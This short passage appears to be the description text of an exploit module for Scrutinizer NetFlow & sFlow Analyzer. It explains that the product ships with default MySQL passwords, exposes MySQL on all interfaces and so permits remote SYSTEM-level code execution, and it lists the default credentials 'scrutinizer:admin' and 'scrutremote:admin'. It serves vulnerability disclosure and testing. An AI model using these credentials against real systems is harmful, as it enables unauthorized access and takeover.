                This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
                By default, the software installs a default password in MySQL, and binds the
                service to "0.0.0.0".  This allows any remote user to login to MySQL, and then
                gain arbitrary remote code execution under the context of 'SYSTEM'.  Examples
                of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
